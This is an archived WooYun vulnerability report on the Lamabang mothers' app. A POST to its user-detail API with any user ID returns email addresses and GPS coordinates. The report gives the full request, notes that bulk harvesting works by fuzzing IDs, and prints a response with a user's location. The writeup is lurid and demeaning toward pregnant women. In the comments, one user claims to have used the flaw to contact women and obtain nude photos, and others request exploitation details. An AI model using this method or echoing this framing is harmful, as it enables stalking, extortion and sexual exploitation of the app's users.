破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

辣妈帮手机客户端人妻信息泄漏(联系方式+gps),两性和情感板块各种寂寞的人妻,危害你懂的

编号45575
Urlhttp://www.wooyun.org/bug.php?action=view&id=45575
漏洞状态未联系到厂商或者厂商积极忽略
漏洞标题辣妈帮手机客户端人妻信息泄漏(联系方式+gps),两性和情感板块各种寂寞的人妻,危害你懂的
漏洞类型敏感信息泄露
厂商辣妈帮
白帽子想要减肥的胖纸
提交日期2013-12-11 09:33:00
公开日期2014-01-25 09:34:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签敏感信息泄露
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank0
漏洞简介
辣妈帮是基于gps的社交软件,主要对象都是备孕或者怀孕的人妻。午夜的时候各种寂寞的少妇。。。。有人还私信神码直播。当你们直播的时候,你会知道背后有一双眼睛,已经知道了你的联系方式,物理位置,想想就可怕(你懂得)。。。。还有情感板块,神码感觉婚姻不幸福,喜欢上了别人。。。。。嗯。。如果被人恶意利用,敲诈。。后果不堪设想。。。。。。
最猥琐的方式是用该漏洞“约泡”。。。。。。。。。。。。。。
漏洞细节

post提交uid查询用户的主页的时候,返回信息内包含了gps email等。

IMG_0025.PNG


IMG_0026.PNG


IMG_0027.PNG

POC

注册一个账号 然后随便访问一个板块 点击一个人的头像 抓包。

POST http://open.lmbang.com/user/detail HTTP/1.1
Host: open.lmbang.com
Proxy-Connection: close
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 53
Connection: close
Cookie: ***********dncac21
User-Agent: 辣妈帮HD 1.7.3 (iPad; iPhone OS 7.0.4; zh_CN)
uid=40***23&client_flag=lmb_ipad&timestamp=1386702488


uid是用户id,结合httpfuzz可以做到批量获取。。。。
返回信息

HTTP/1.1 200 OK
Server: nginx/1.2.8
Date: Tue, 10 Dec 2013 19:08:06 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
{"ret":"0","msg":"ok","timestamp":1386702486,"data":{"userinfo":{"uid":"403**23","nickname":"\u8fa3\u5988806032","email":"125***[email protected]","nation":"","province":"","city":"","fansnum":"0","idolnum":"1","signature":"","face":"","face200":"","srcface":"","bangs":"58","bbtype":"0","bbbirthday":"0","bbgender":"-1","favorites":"0","scores":"18","isphoto":"1","photos":"0","lv":"1","lvicon":"\/image\/comm\/1.png","daren":"","authtype":"0","topics":"1","deltopics":"0","posts":2,"delposts":"0","comment_visible":"1","jingdu":"113.256513","weidu":"23.170005","is_silence_icon":"0","description":"","authname":"","background":"","jwd_valid":1,"beblacklist":"0"},"isfollow":0,"is_verify":0,"photo_list":[],"photo_count":"0","topic_list":[{"id":"4256131","pid":"0","title":"\u8fdb\u884c\u4e2d\u3002\u3002\u3002","dateline":"1386702013","favorites":"0","comments":"3","thumb":"","picture":"","choice":"0","bid":"8301","uid":"4032823","username":"125****[email protected]","nickname":"\u8fa3\u5988806032","face":"","bbtype":"0","bbbirthday":"0","product_id":null,"product_price":null,"taobao_url":null,"bangname":"\u4e24\u6027\u5065\u5eb7\u8fa3\u5988\u5e2e","bpic":"http:\/\/img8.lamaqun.com\/img\/uploadfile\/day_120727\/201207271653394522.jpg"}],"topic_count":"1","comment_list":[{"dateline":"1386702444","content":"\u7ee7\u7eeding","tid":"4256131","bname":"\u4e24\u6027\u5065\u5eb7\u8fa3\u5988\u5e2e","bpic":"http:\/\/img8.lamaqun.com\/img\/uploadfile\/day_120727\/201207271653394522.jpg"},{"dateline":"1386702395","content":"\u6211\u4eec\u662f\u592b\u59bb\uff0c\u8981\u60f3\u770b\u7684\u79c1\u4fe1","tid":"4255995","bname":"\u4e24\u6027\u5065\u5eb7\u8fa3\u5988\u5e2e","bpic":"http:\/\/img8.lamaqun.com\/img\/uploadfile\/day_120727\/201207271653394522.jpg"},{"dateline":"1386702118","content":"kj\u4e2d\u3002\u3002\u3002","tid":"4256131","bname":"\u4e24\u6027\u5065\u5eb7\u8fa3\u5988\u5e2e","bpic":"http:\/\/img8.lamaqun.com\/img\/uploadfile\/day_120727\/201207271653394522.jpg"}],"comment_count":2}}


修复方案

屏蔽相应回显

状态信息 2013-12-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-01-25: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复(not set)
回应信息未能联系到厂商或者厂商积极拒绝
Showing 1-25 of 25 items.
评论内容评论人点赞数评论时间

我要装一个 我操 这种东西

x1aoh4i02014-02-21 14:52:00

@想要减肥的胖纸 造福人类的好事啊哈哈,应该发啊

wefgod02014-02-09 10:59:00

一群寂寞的人。唉。以后不发这种邪恶的东西了。

想要减肥的胖纸02014-02-08 19:48:00

大神 你用什么工具抓包的? 在pad上

xsser_w02014-02-01 13:31:00

@冷静 我也木有…………今天去下了,感觉很震撼!回头围观看看哈哈哈

wefgod02014-01-27 23:26:00

@wefgod 打包个这网站的xss给我吧 我测试一个小时了 ...动态的地方 找准美女打啊

冷静02014-01-27 15:34:00

@冷静 (打包?)

wefgod02014-01-27 11:26:00

@wefgod 千真万确,有相离几百米的,有相离几千 千米的

冷静02014-01-27 11:17:00

@冷静 @冷静 我去???????????????????!!!真的假的??你确定吗,同城的啊?给力了

wefgod02014-01-27 11:06:00

@wefgod 昨晚测试了下。成功搭讪到三个,做了她们出轨对象的候补之一!!

冷静02014-01-27 11:03:00

@wefgod 裸照什么的,已经发我了,还问我介意生孩子松弛吗

冷静02014-01-27 11:03:00

@小川 我去,看了你的截图我都想去围观下了。说不定一个私信过去就有人送上门了哈哈。

wefgod02014-01-27 10:32:00

@wefgod 相信自己,力量在心中

小川02014-01-27 09:20:00

我觉得我不行!没想过也不想,因为我会受不了!

wefgod02014-01-26 17:07:00

哎呀 我是孕妇控 貌似看到好几个

LaTCue02014-01-26 16:16:00

請私信我利用細節

专治吹牛逼02014-01-25 11:33:00

@冷静 momo 上,,不是酒托就是上了MOMO还装纯的女人。 还有就是男的比女的多

無情02013-12-13 14:33:00

@想要减肥的胖纸 比的上陌陌?

冷静02013-12-12 21:45:00

我去,可以考虑来一发

wefgod02013-12-12 10:11:00

@xsser 我发现还是少撸的好,现在有点蛋疼,可能最近一天2次到3次太频繁了。我发现米聊现在也不错。。。。。你懂的。。

想要减肥的胖纸02013-12-11 13:47:00

请私信我利用细节

嘿嘿嘿嘿102013-12-11 13:27:00

@小川 他是想减肥,每天用着辣妈帮坐着运动,减肥方式不错啊

只是少年一位02013-12-11 10:02:00

洞主注意身体

小川02013-12-11 09:56:00

请私信我利用细节

淡漠天空02013-12-11 09:40:00

装一个

xsser02013-12-11 09:34:00